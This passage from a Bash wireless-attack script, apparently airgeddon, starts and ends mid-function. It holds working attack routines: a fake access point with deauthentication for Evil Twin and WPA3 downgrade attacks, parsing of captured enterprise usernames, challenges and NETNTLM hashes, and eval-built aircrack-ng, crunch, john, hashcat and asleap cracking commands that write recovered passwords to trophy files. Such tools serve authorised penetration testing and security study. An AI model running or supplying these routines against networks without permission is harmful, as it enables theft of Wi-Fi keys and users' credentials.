			aircrack_potpath="${aircrack_potpath}${aircrackpot_filename}"

			validpath=1
			while [[ "${validpath}" != "0" ]]; do
				read_path "aircrackpot"
			done

			aircrack_key=$(cat "${tmpdir}${aircrack_pot_tmp}")
			{
			echo ""
			date +%Y-%m-%d
			echo "${aircrack_texts[${language},0]}"
			echo ""
			echo "BSSID: ${bssid}"
			echo ""
			echo "---------------"
			echo ""
			echo "${aircrack_key}"
			} >> "${aircrackpotenteredpath}"

			add_contributing_footer_to_file "${aircrackpotenteredpath}"

			echo
			language_strings "${language}" 440 "blue"
			language_strings "${language}" 115 "read"
		fi
	fi
}

#Check if hashes were captured during WPA3 downgrade attack
function manage_mana_pot() {

	debug_print

	if [ -n "${mana_hash}" ]; then
		echo
		language_strings "${language}" 530 "yellow"

		ask_yesno 785 "yes"
		if [ "${yesno}" = "y" ]; then
			downgrade_potpath="${default_save_path}"
			downgradepot_filename=$(sanitize_path "wpa3-downgrade-hash-${bssid}.txt")
			downgrade_potpath="${downgrade_potpath}${downgradepot_filename}"

			validpath=1
			while [[ "${validpath}" != "0" ]]; do
				read_path "downgradepot"
			done

			{
			echo "${mana_hash}"
			} >> "${downgradepotenteredpath}"

			echo
			language_strings "${language}" 786 "blue"
			language_strings "${language}" 115 "read"
		fi
	else
		echo
		language_strings "${language}" 788 "red"
		language_strings "${language}" 115 "read"
	fi
}

#Check if the password was decrypted using asleap against challenges and responses
function manage_asleap_pot() {

	debug_print

	asleap_output=$(cat "${tmpdir}${asleap_pot_tmp}")

	if [[ "${asleap_output}" =~ password:[[:blank:]]+(.*) ]]; then

		local asleap_decrypted_password="${BASH_REMATCH[1]}"
		local write_to_file=0

		language_strings "${language}" 234 "yellow"

		if [ "${1}" != "offline_menu" ]; then
			echo
			local write_to_file=1
			asleap_attack_finished=1
			path_to_asleap_trophy="${enterprise_completepath}enterprise_asleap_decrypted_${bssid}_password.txt"
		else
			ask_yesno 235 "yes"
			if [ "${yesno}" = "y" ]; then
				local write_to_file=1
				asleap_potpath="${default_save_path}"
				asleappot_filename=$(sanitize_path "asleap_decrypted_password.txt")
				asleap_potpath="${asleap_potpath}${asleappot_filename}"

				validpath=1
				while [[ "${validpath}" != "0" ]]; do
					read_path "asleappot"
				done

				path_to_asleap_trophy="${asleapenteredpath}"
			fi
		fi

		if [ "${write_to_file}" = "1" ]; then
			rm -rf "${path_to_asleap_trophy}" > /dev/null 2>&1

			{
			echo ""
			date +%Y-%m-%d
			echo "${asleap_texts[${language},1]}"
			echo ""
			} >> "${path_to_asleap_trophy}"

			if [ "${1}" != "offline_menu" ]; then
				{
				echo "ESSID: ${essid}"
				echo "BSSID: ${bssid}"
				} >> "${path_to_asleap_trophy}"
			fi

			{
			echo "${asleap_texts[${language},2]}: ${enterprise_asleap_challenge}"
			echo "${asleap_texts[${language},0]}: ${enterprise_asleap_response}"
			echo ""
			echo "---------------"
			echo ""
			} >> "${path_to_asleap_trophy}"

			if [ "${1}" != "offline_menu" ]; then
				{
				echo "${enterprise_username} / ${asleap_decrypted_password}"
				} >> "${path_to_asleap_trophy}"
			else
				{
				echo "${asleap_decrypted_password}"
				} >> "${path_to_asleap_trophy}"
			fi

			add_contributing_footer_to_file "${path_to_asleap_trophy}"

			language_strings "${language}" 539 "blue"
			language_strings "${language}" 115 "read"
		fi
	else
		if [ "${1}" != "offline_menu" ]; then
			language_strings "${language}" 540 "red"

			ask_yesno 541 "no"
			if [ "${yesno}" = "n" ]; then
				asleap_attack_finished=1
			fi
		else
			language_strings "${language}" 540 "red"
			language_strings "${language}" 115 "read"
		fi
	fi
}

#Check if the wep besside password was captured and manage to save it on a file
function manage_wep_besside_pot() {

	debug_print

	local wep_besside_pass_cracked=0
	if grep -q "Got key" "${tmpdir}${wep_besside_log}" 2> /dev/null; then
		sed -ri '1,/Got key/{/Got key/!d; s/.*(Got key)/\1/}' "${tmpdir}${wep_besside_log}" 2> /dev/null
		readarray -t LINES_TO_PARSE < <(cat < "${tmpdir}${wep_besside_log}" 2> /dev/null)
		for item in "${LINES_TO_PARSE[@]}"; do
			if [[ "${item}" =~ Got[[:blank:]]key[[:blank:]]for.*\[([0-9A-Fa-f:]+)\].*IVs ]]; then
				wep_hex_key="${BASH_REMATCH[1]}"
				wep_ascii_key=$(echo "${wep_hex_key}" | awk 'RT{printf "%c", strtonum("0x"RT)}' RS='[0-9A-Fa-f]{2}')
				wep_besside_pass_cracked=1
				break
			fi
		done
	fi

	if [ "${wep_besside_pass_cracked}" -eq 1 ]; then
		echo "" > "${weppotenteredpath}"
		{
		date +%Y-%m-%d
		echo -e "${wep_texts[${language},1]}"
		echo ""
		echo -e "BSSID: ${bssid}"
		echo -e "${wep_texts[${language},2]}: ${channel}"
		echo -e "ESSID: ${essid}"
		echo ""
		echo "---------------"
		echo ""
		echo -e "ASCII: ${wep_ascii_key}"
		echo -en "${wep_texts[${language},3]}:"
		echo -en " ${wep_hex_key}"
		echo ""
		echo ""
		echo "---------------"
		echo ""
		echo "${footer_texts[${language},0]}"
		} >> "${weppotenteredpath}"

		echo
		language_strings "${language}" 162 "yellow"
		echo
		language_strings "${language}" 724 "blue"
		language_strings "${language}" 115 "read"
	fi
}

#Check if the passwords were captured using ettercap and manage to save them on a file
function manage_ettercap_log() {

	debug_print

	ettercap_log=0
	ask_yesno 302 "yes"
	if [ "${yesno}" = "y" ]; then
		ettercap_log=1
		default_ettercap_logpath="${default_save_path}"
		default_ettercaplogfilename=$(sanitize_path "evil_twin_captured_passwords-${essid}.txt")
		rm -rf "${tmpdir}${ettercap_file}"* > /dev/null 2>&1
		tmp_ettercaplog="${tmpdir}${ettercap_file}"
		default_ettercap_logpath="${default_ettercap_logpath}${default_ettercaplogfilename}"
		validpath=1
		while [[ "${validpath}" != "0" ]]; do
			read_path "ettercaplog"
		done
	fi
}

#Check if the passwords were captured using bettercap and manage to save them on a file
function manage_bettercap_log() {

	debug_print

	bettercap_log=0
	ask_yesno 302 "yes"
	if [ "${yesno}" = "y" ]; then
		bettercap_log=1
		default_bettercap_logpath="${default_save_path}"
		default_bettercaplogfilename=$(sanitize_path "evil_twin_captured_passwords-bettercap-${essid}.txt")
		rm -rf "${tmpdir}${bettercap_file}"* > /dev/null 2>&1
		tmp_bettercaplog="${tmpdir}${bettercap_file}"
		default_bettercap_logpath="${default_bettercap_logpath}${default_bettercaplogfilename}"
		validpath=1
		while [[ "${validpath}" != "0" ]]; do
			read_path "bettercaplog"
		done
	fi
}

#Check if the passwords were captured using wps attacks and manage to save them on a file
function manage_wps_log() {

	debug_print

	wps_potpath="${default_save_path}"

	if [ -z "${wps_essid}" ]; then
		wpspot_filename=$(sanitize_path "wps_captured_key-${wps_bssid}.txt")
	else
		wpspot_filename=$(sanitize_path "wps_captured_key-${wps_essid}.txt")
	fi
	wps_potpath="${wps_potpath}${wpspot_filename}"

	validpath=1
	while [[ "${validpath}" != "0" ]]; do
		read_path "wpspot"
	done
}

#Check if the password was captured using wep all-in-one or besside-ng attack and manage to save it on a file
function manage_wep_log() {

	debug_print

	wep_potpath="${default_save_path}"
	weppot_filename=$(sanitize_path "wep_captured_key-${essid}.txt")
	wep_potpath="${wep_potpath}${weppot_filename}"

	validpath=1
	while [[ "${validpath}" != "0" ]]; do
		read_path "weppot"
	done
}

#Check if a hash or a password was captured using Evil Twin Enterprise attack and manage to save it on a directory
function manage_enterprise_log() {

	debug_print

	enterprise_potpath="${default_save_path}"
	enterprisepot_suggested_dirname=$(sanitize_path "enterprise_captured-${essid}")
	enterprise_potpath="${enterprise_potpath}${enterprisepot_suggested_dirname}/"

	validpath=1
	while [[ "${validpath}" != "0" ]]; do
		read_path "enterprisepot"
	done
}

#Check to save certs for Evil Twin Enterprise attack
function manage_enterprise_certs() {

	debug_print

	enterprisecertspath="${default_save_path}"
	enterprisecerts_suggested_dirname="enterprise_certs"
	enterprisecertspath="${enterprisecertspath}${enterprisecerts_suggested_dirname}/"

	validpath=1
	while [[ "${validpath}" != "0" ]]; do
		read_path "certificates"
	done
}

#Save created cert files to user's location
function save_enterprise_certs() {

	debug_print

	if [ ! -d "${enterprisecerts_completepath}" ]; then
		mkdir -p "${enterprisecerts_completepath}" > /dev/null 2>&1
	fi

	cp "${tmpdir}${certsdir}server.pem" "${enterprisecerts_completepath}" 2> /dev/null
	cp "${tmpdir}${certsdir}ca.pem" "${enterprisecerts_completepath}" 2> /dev/null
	cp "${tmpdir}${certsdir}server.key" "${enterprisecerts_completepath}" 2> /dev/null

	echo
	language_strings "${language}" 644 "blue"
	language_strings "${language}" 115 "read"
}

#Check if the passwords were captured using the captive portal Evil Twin attack and manage to save them on a file
function manage_captive_portal_log() {

	debug_print

	default_et_captive_portal_logpath="${default_save_path}"
	default_et_captive_portallogfilename=$(sanitize_path "evil_twin_captive_portal_password-${essid}.txt")
	default_et_captive_portal_logpath="${default_et_captive_portal_logpath}${default_et_captive_portallogfilename}"
	validpath=1
	while [[ "${validpath}" != "0" ]]; do
		read_path "et_captive_portallog"
	done
}

#Handle enterprise log captures
function handle_enterprise_log() {

	debug_print

	if [ -f "${tmpdir}${enterprisedir}${enterprise_successfile}" ]; then

		enterprise_attack_result_code=$(cat < "${tmpdir}${enterprisedir}${enterprise_successfile}" 2> /dev/null)
		echo
		if [ "${enterprise_attack_result_code}" -eq 0 ]; then
			language_strings "${language}" 530 "yellow"
			parse_from_enterprise "hashes"
		elif [ "${enterprise_attack_result_code}" -eq 1 ]; then
			language_strings "${language}" 531 "yellow"
			parse_from_enterprise "passwords"
		elif [ "${enterprise_attack_result_code}" -eq 2 ]; then
			language_strings "${language}" 532 "yellow"
			parse_from_enterprise "both"
		fi

		echo
		language_strings "${language}" 533 "blue"
		language_strings "${language}" 115 "read"
	else
		echo
		language_strings "${language}" 529 "red"
		language_strings "${language}" 115 "read"
	fi
}

#Parse enterprise log to create trophy files
function parse_from_enterprise() {

	debug_print

	local line_number
	local username
	local john_hashes=()
	local hashcat_hashes=()
	local passwords=()
	local line_to_check
	local text_to_check
	unset enterprise_captured_challenges_responses
	declare -gA enterprise_captured_challenges_responses

	readarray -t CAPTURED_USERNAMES < <(grep -n -E "username:" "${tmpdir}${hostapd_wpe_log}" | sort -k 2,3 | uniq --skip-fields=1 2> /dev/null)
	for item in "${CAPTURED_USERNAMES[@]}"; do
		[[ "${item}" =~ ([0-9]+):.*username:[[:blank:]]+(.*) ]] && line_number="${BASH_REMATCH[1]}" && username="${BASH_REMATCH[2]}"
		line_to_check=$((line_number + 1))
		text_to_check=$(sed "${line_to_check}q;d" "${tmpdir}${hostapd_wpe_log}" 2> /dev/null)

		if [[ "${text_to_check}" =~ challenge:[[:blank:]]+(.*) ]]; then
			enterprise_captured_challenges_responses["${username}"]="${BASH_REMATCH[1]}"
			line_to_check=$((line_number + 2))
			text_to_check=$(sed "${line_to_check}q;d" "${tmpdir}${hostapd_wpe_log}" 2> /dev/null)
			[[ "${text_to_check}" =~ response:[[:blank:]]+(.*) ]] && enterprise_captured_challenges_responses["${username}"]+=" / ${BASH_REMATCH[1]}"

			line_to_check=$((line_number + 3))
			text_to_check=$(sed "${line_to_check}q;d" "${tmpdir}${hostapd_wpe_log}" 2> /dev/null)
			[[ "${text_to_check}" =~ jtr[[:blank:]]NETNTLM:[[:blank:]]+(.*) ]] && john_hashes+=("${BASH_REMATCH[1]}")

			line_to_check=$((line_number + 4))
			text_to_check=$(sed "${line_to_check}q;d" "${tmpdir}${hostapd_wpe_log}" 2> /dev/null)
			[[ "${text_to_check}" =~ hashcat[[:blank:]]NETNTLM:[[:blank:]]+(.*) ]] && hashcat_hashes+=("${BASH_REMATCH[1]}")
		fi

		if [[ "${text_to_check}" =~ password:[[:blank:]]+(.*) ]]; then
			passwords+=("${username} / ${BASH_REMATCH[1]}")
		fi
	done

	prepare_enterprise_trophy_dir

	case ${1} in
		"hashes")
			write_enterprise_hashes_file "hashcat" "${hashcat_hashes[@]}"
			write_enterprise_hashes_file "john" "${john_hashes[@]}"
		;;
		"passwords")
			write_enterprise_passwords_file "${passwords[@]}"
		;;
		"both")
			write_enterprise_hashes_file "hashcat" "${hashcat_hashes[@]}"
			write_enterprise_hashes_file "john" "${john_hashes[@]}"
			write_enterprise_passwords_file "${passwords[@]}"
		;;
	esac

	enterprise_username="${username}"
}

#Prepare dir for enterprise trophy files
function prepare_enterprise_trophy_dir() {

	debug_print

	if [ ! -d "${enterprise_completepath}" ]; then
		mkdir -p "${enterprise_completepath}" > /dev/null 2>&1
	fi
}

#Write enterprise captured hashes to trophy file
function write_enterprise_hashes_file() {

	debug_print

	local values=("${@:2}")
	rm -rf "${enterprise_completepath}enterprise_captured_${1}_${bssid}_hashes.txt" > /dev/null 2>&1

	for item in "${values[@]}"; do
		{
		echo "${item}"
		} >> "${enterprise_completepath}enterprise_captured_${1}_${bssid}_hashes.txt"
	done
}

#Write enterprise captured passwords to trophy file
function write_enterprise_passwords_file() {

	debug_print

	local values=("${@:1}")
	rm -rf "${enterprise_completepath}enterprise_captured_${bssid}_passwords.txt" > /dev/null 2>&1

	{
	echo ""
	date +%Y-%m-%d
	echo "${enterprise_texts[${language},11]}"
	echo ""
	echo "ESSID: ${essid}"
	echo "BSSID: ${bssid}"
	echo ""
	echo "---------------"
	echo ""
	} >> "${enterprise_completepath}enterprise_captured_${bssid}_passwords.txt"

	for item in "${values[@]}"; do
		{
		echo "${item}"
		} >> "${enterprise_completepath}enterprise_captured_${bssid}_passwords.txt"
	done

	add_contributing_footer_to_file "${enterprise_completepath}enterprise_captured_${bssid}_passwords.txt"
}

#Captive portal language menu
function set_captive_portal_language() {

	debug_print

	clear
	language_strings "${language}" 293 "title"
	print_iface_selected
	print_et_target_vars
	print_iface_internet_selected
	echo
	language_strings "${language}" 318 "green"
	print_simple_separator
	language_strings "${language}" 266
	print_simple_separator
	language_strings "${language}" 79
	language_strings "${language}" 80
	language_strings "${language}" 113
	language_strings "${language}" 116
	language_strings "${language}" 249
	language_strings "${language}" 308
	language_strings "${language}" 320
	language_strings "${language}" 482
	language_strings "${language}" 58
	language_strings "${language}" 331
	language_strings "${language}" 519
	language_strings "${language}" 687
	language_strings "${language}" 717
	print_hint

	read -rp "> " captive_portal_language_selected
	echo
	case ${captive_portal_language_selected} in
		0)
			return_to_et_main_menu=1
			return 1
		;;
		1)
			captive_portal_language="ENGLISH"
		;;
		2)
			captive_portal_language="SPANISH"
		;;
		3)
			captive_portal_language="FRENCH"
		;;
		4)
			captive_portal_language="CATALAN"
		;;
		5)
			captive_portal_language="PORTUGUESE"
		;;
		6)
			captive_portal_language="RUSSIAN"
		;;
		7)
			captive_portal_language="GREEK"
		;;
		8)
			captive_portal_language="ITALIAN"
		;;
		9)
			captive_portal_language="POLISH"
		;;
		10)
			captive_portal_language="GERMAN"
		;;
		11)
			captive_portal_language="TURKISH"
		;;
		12)
			captive_portal_language="ARABIC"
		;;
		13)
			captive_portal_language="CHINESE"
		;;
		*)
			invalid_captive_portal_language_selected
		;;
	esac

	return 0
}

#Read and validate the minlength var
function set_minlength() {

	debug_print

	local regexp
	if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
		regexp="^[8-9]$|^[1-5][0-9]$|^6[0-3]$"
		minlength_text=8
	elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then
		regexp="^[8-9]$|^[1-5][0-9]$|^6[0-3]$"
		minlength_text=8
	else
		regexp="^[1-9]$|^[1-5][0-9]$|^6[0-3]$"
		minlength_text=1
	fi

	minlength=0
	while [[ ! ${minlength} =~ ${regexp} ]]; do
		echo
		language_strings "${language}" 194 "green"
		read -rp "> " minlength
	done
}

#Read and validate the maxlength var
function set_maxlength() {

	debug_print

	local regexp
	if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
		regexp="^[8-9]$|^[1-5][0-9]$|^6[0-3]$"
	elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then
		regexp="^[8-9]$|^[1-5][0-9]$|^6[0-3]$"
	else
		regexp="^[1-9]$|^[1-5][0-9]$|^6[0-3]$"
	fi

	maxlength=0
	while [[ ! ${maxlength} =~ ${regexp} ]]; do
		echo
		language_strings "${language}" 195 "green"
		read -rp "> " maxlength
	done
}

#Manage the minlength and maxlength vars on bruteforce attacks
function set_minlength_and_maxlength() {

	debug_print

	set_minlength "${1}"
	maxlength=0
	while [[ "${maxlength}" -lt "${minlength}" ]]; do
		set_maxlength "${1}"
	done
}

#Charset selection menu
function set_charset() {

	debug_print

	clear
	language_strings "${language}" 238 "title"
	language_strings "${language}" 196 "green"
	print_simple_separator
	language_strings "${language}" 197
	language_strings "${language}" 198
	language_strings "${language}" 199
	language_strings "${language}" 200
	language_strings "${language}" 201
	language_strings "${language}" 202
	language_strings "${language}" 203
	language_strings "${language}" 204
	language_strings "${language}" 205
	language_strings "${language}" 206
	language_strings "${language}" 207
	print_hint

	read -rp "> " charset_option
	case ${1} in
		"aircrack"|"jtr")
			case ${charset_option} in
				1)
					charset=${crunch_lowercasecharset}
				;;
				2)
					charset=${crunch_uppercasecharset}
				;;
				3)
					charset=${crunch_numbercharset}
				;;
				4)
					charset=${crunch_symbolcharset}
				;;
				5)
					charset="${crunch_lowercasecharset}${crunch_uppercasecharset}"
				;;
				6)
					charset="${crunch_lowercasecharset}${crunch_numbercharset}"
				;;
				7)
					charset="${crunch_uppercasecharset}${crunch_numbercharset}"
				;;
				8)
					charset="${crunch_symbolcharset}${crunch_numbercharset}"
				;;
				9)
					charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_numbercharset}"
				;;
				10)
					charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_symbolcharset}"
				;;
				11)
					charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_numbercharset}${crunch_symbolcharset}"
				;;
			esac
		;;
		"hashcat")
			case ${charset_option} in
				1)
					charset="?l"
				;;
				2)
					charset="?u"
				;;
				3)
					charset="?d"
				;;
				4)
					charset="?s"
				;;
				5)
					charset="-1 ?l?u"
				;;
				6)
					charset="-1 ?l?d"
				;;
				7)
					charset="-1 ?u?d"
				;;
				8)
					charset="-1 ?s?d"
				;;
				9)
					charset="-1 ?l?u?d"
				;;
				10)
					charset="-1 ?l?u?s"
				;;
				11)
					charset="?a"
				;;
			esac

			if [[ ${charset} =~ ^\-1 ]]; then
				charset_tmp=""
				for ((i=0; i < maxlength; i++)); do
					charset_tmp+="?1"
				done
				charset="\"${charset}\" \"${charset_tmp}\""
			else
				charset_tmp="${charset}"
				for ((i=0; i < maxlength - 1; i++)); do
					charset+="${charset_tmp}"
				done
			fi
		;;
	esac

	set_show_charset "${1}"
}

#Set a var to show the chosen charset
function set_show_charset() {

	debug_print

	showcharset=""

	case ${1} in
		"aircrack"|"jtr")
			showcharset="${charset}"
		;;
		"hashcat")
			case ${charset_tmp} in
				"?a")
					for item in "${hashcat_charsets[@]}"; do
						if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then
							showcharset+=$(hashcat --help | grep "${item} =" | awk '{print $3}')
						else
							showcharset+=$(hashcat --help | grep -E "^  ${item#'?'} \|" | awk '{print $3}')
						fi
					done
				;;
				*)
					if [[ ${charset} =~ ^\"\-1[[:blank:]]((\?[luds])+).* ]]; then
						showcharset="${BASH_REMATCH[1]}"
						IFS='?' read -ra charset_masks <<< "${showcharset}"
						showcharset=""
						for item in "${charset_masks[@]}"; do
							if [ -n "${item}" ]; then
								if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then
									showcharset+=$(hashcat --help | grep "${item} =" | awk '{print $3}')
								else
									showcharset+=$(hashcat --help | grep -E "^  ${item} \|" | awk '{print $3}')
								fi
							fi
						done
					else
						if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then
							showcharset=$(hashcat --help | grep "${charset_tmp} =" | awk '{print $3}')
						else
							showcharset=$(hashcat --help | grep -E "^  ${charset_tmp#'?'} \|" | awk '{print $3}')
						fi
					fi
				;;
			esac
		;;
	esac
}

#Execute aircrack+crunch bruteforce attack
function exec_aircrack_bruteforce_attack() {

	debug_print
	rm -rf "${tmpdir}${aircrack_pot_tmp}" > /dev/null 2>&1
	aircrack_cmd="crunch \"${minlength}\" \"${maxlength}\" \"${charset}\" | aircrack-ng -a 2 -b \"${bssid}\" -l \"${tmpdir}${aircrack_pot_tmp}\" -w - \"${enteredpath}\" ${colorize}"
	eval "${aircrack_cmd}"
	language_strings "${language}" 115 "read"
}

#Execute aircrack dictionary attack
function exec_aircrack_dictionary_attack() {

	debug_print

	rm -rf "${tmpdir}${aircrack_pot_tmp}" > /dev/null 2>&1
	aircrack_cmd="aircrack-ng -a 2 -b \"${bssid}\" -l \"${tmpdir}${aircrack_pot_tmp}\" -w \"${DICTIONARY}\" \"${enteredpath}\" ${colorize}"
	eval "${aircrack_cmd}"
	language_strings "${language}" 115 "read"
}

#Execute john the ripper dictionary attack
function exec_jtr_dictionary_attack() {

	debug_print

	rm -rf "${tmpdir}jtrtmp"* > /dev/null 2>&1

	jtr_cmd="john \"${jtrenterpriseenteredpath}\" --format=netntlm-naive --wordlist=\"${DICTIONARY}\" --pot=\"${tmpdir}${jtr_pot_tmp}\" --encoding=UTF-8 | tee \"${tmpdir}${jtr_output_file}\" ${colorize}"
	eval "${jtr_cmd}"
	language_strings "${language}" 115 "read"
}

#Execute john the ripper bruteforce attack
function exec_jtr_bruteforce_attack() {

	debug_print

	rm -rf "${tmpdir}jtrtmp"* > /dev/null 2>&1

	jtr_cmd="crunch \"${minlength}\" \"${maxlength}\" \"${charset}\" | john \"${jtrenterpriseenteredpath}\" --stdin --format=netntlm-naive --pot=\"${tmpdir}${jtr_pot_tmp}\" --encoding=UTF-8 | tee \"${tmpdir}${jtr_output_file}\" ${colorize}"
	eval "${jtr_cmd}"
	language_strings "${language}" 115 "read"
}

#Execute hashcat dictionary attack
function exec_hashcat_dictionary_attack() {

	debug_print

	if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
		hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 0 \"${tmpdir}${hashcat_tmp_file}\" \"${DICTIONARY}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
	elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then
		hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 0 \"${tmpdir}${hashcat_tmp_file}\" \"${DICTIONARY}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
	else
		rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1
		hashcat_cmd="hashcat -m ${hashcat_enterprise_cracking_plugin} -a 0 \"${hashcatenterpriseenteredpath}\" \"${DICTIONARY}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
	fi
	eval "${hashcat_cmd}"
	language_strings "${language}" 115 "read"
}

#Execute hashcat bruteforce attack
function exec_hashcat_bruteforce_attack() {

	debug_print

	if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
		hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 3 \"${tmpdir}${hashcat_tmp_file}\" ${charset} --increment --increment-min=${minlength} --increment-max=${maxlength} --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
	elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then
		hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 3 \"${tmpdir}${hashcat_tmp_file}\" ${charset} --increment --increment-min=${minlength} --increment-max=${maxlength} --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
	else
		rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1
		hashcat_cmd="hashcat -m ${hashcat_enterprise_cracking_plugin} -a 3 \"${hashcatenterpriseenteredpath}\" ${charset} --increment --increment-min=${minlength} --increment-max=${maxlength} --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
	fi
	eval "${hashcat_cmd}"
	language_strings "${language}" 115 "read"
}

#Execute hashcat rule based attack
function exec_hashcat_rulebased_attack() {

	debug_print

	if [ "${1}" = "personal_handshake_pmkid_capture" ]; then
		hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 0 \"${tmpdir}${hashcat_tmp_file}\" \"${DICTIONARY}\" -r \"${RULES}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
	elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then
		hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 0 \"${tmpdir}${hashcat_tmp_file}\" \"${DICTIONARY}\" -r \"${RULES}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
	else
		rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1
		hashcat_cmd="hashcat -m ${hashcat_enterprise_cracking_plugin} -a 0 \"${hashcatenterpriseenteredpath}\" \"${DICTIONARY}\" -r \"${RULES}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}"
	fi
	eval "${hashcat_cmd}"
	language_strings "${language}" 115 "read"
}

#Execute WPA3 downgrade attack
function exec_wpa3_downgrade_attack() {

	debug_print

	set_hostapd_mana_config
	launch_fake_mana_ap
	exec_wpa3_downgrade_deauth
	check_mana_hashes
	kill_wpa3_downgrade_attack_processes
	restore_wpa3_downgrade_interface
	manage_mana_pot
	clean_tmpfiles
}

#Execute Enterprise smooth/noisy attack
function exec_enterprise_attack() {

	debug_print

	rm -rf "${tmpdir}${control_enterprise_file}" > /dev/null 2>&1
	rm -rf "${tmpdir}${enterprisedir}" > /dev/null 2>&1
	mkdir "${tmpdir}${enterprisedir}" > /dev/null 2>&1

	set_hostapd_wpe_config
	launch_fake_ap
	exec_et_deauth
	set_enterprise_control_script
	launch_enterprise_control_window
	write_et_processes

	echo
	language_strings "${language}" 524 "yellow"
	language_strings "${language}" 115 "read"

	kill_et_windows

	if [ "${dos_pursuit_mode}" -eq 1 ]; then
		recover_current_channel
	fi

	if [ "${enterprise_mode}" = "noisy" ]; then
		restore_et_interface
	else
		if [ -f "${tmpdir}${enterprisedir}${enterprise_successfile}" ]; then
			if [ -f "${tmpdir}${enterprisedir}returning_vars.txt" ]; then

				local tmp_interface
				tmp_interface=$(grep -E "^interface=" "${tmpdir}${enterprisedir}returning_vars.txt" 2> /dev/null | awk -F "=" '{print $2}')
				if [ -n "${tmp_interface}" ]; then
					interface="${tmp_interface}"
				fi

				local tmp_phy_interface
				tmp_phy_interface=$(grep -E "^phy_interface=" "${tmpdir}${enterprisedir}returning_vars.txt" 2> /dev/null | awk -F "=" '{print $2}')
				if [ -n "${tmp_phy_interface}" ]; then
					phy_interface="${tmp_phy_interface}"
				fi

				local tmp_current_iface_on_messages
				tmp_current_iface_on_messages=$(grep -E "^current_iface_on_messages=" "${tmpdir}${enterprisedir}returning_vars.txt" 2> /dev/null | awk -F "=" '{print $2}')
				if [ -n "${tmp_current_iface_on_messages}" ]; then
					current_iface_on_messages="${tmp_current_iface_on_messages}"
				fi

				local tmp_ifacemode
				tmp_ifacemode=$(grep -E "^ifacemode=" "${tmpdir}${enterprisedir}returning_vars.txt" 2> /dev/null | awk -F "=" '{print $2}')
				if [ -n "${tmp_ifacemode}" ]; then
					ifacemode="${tmp_ifacemode}"
				fi

				rm -rf "${tmpdir}${enterprisedir}returning_vars.txt" > /dev/null 2>&1
			fi
		else
			restore_et_interface
		fi
	fi
	handle_enterprise_log
	handle_asleap_attack
	clean_tmpfiles
}

#Manage and handle asleap attack integrated on Evil Twin and Enterprise
function handle_asleap_attack() {

	debug_print

	if [ -f "${tmpdir}${enterprisedir}${enterprise_successfile}" ]; then
		local result
		result=$(cat "${tmpdir}${enterprisedir}${enterprise_successfile}")
		if [[ "${result}" -eq 0 ]] || [[ "${result}" -eq 2 ]]; then
			ask_yesno 537 "no"
			if [ "${yesno}" = "y" ]; then

				asleap_attack_finished=0

				if [ ${#enterprise_captured_challenges_responses[@]} -eq 1 ]; then
					for item in "${!enterprise_captured_challenges_responses[@]}"; do
						enterprise_username="${item}"
					done

					echo
					language_strings "${language}" 542 "yellow"
				else
					select_captured_enterprise_user
				fi

				echo
				language_strings "${language}" 538 "blue"

				while [[ "${asleap_attack_finished}" != "1" ]]; do
					ask_dictionary
					echo
					exec_asleap_attack
					echo
					manage_asleap_pot
				done
			fi
		fi
	fi
}

#Menu for captured enterprise user selection
function select_captured_enterprise_user() {

	debug_print

	echo
	language_strings "${language}" 47 "green"
	print_simple_separator

	local counter=0
	local space="  "
	declare -A temp_array_enterpise_users
	for item in "${!enterprise_captured_challenges_responses[@]}"; do
		if [ "${counter}" -gt 9 ]; then
			space=" "
		fi
		counter=$((counter + 1))
		echo "${counter}.${space}${item}"
		temp_array_enterpise_users[${counter}]="${item}"
	done
	print_simple_separator

	option_enterprise_user_selected=""
	while [[ -z "${option_enterprise_user_selected}" ]]; do
		read -rp "> " option_enterprise_user_selected
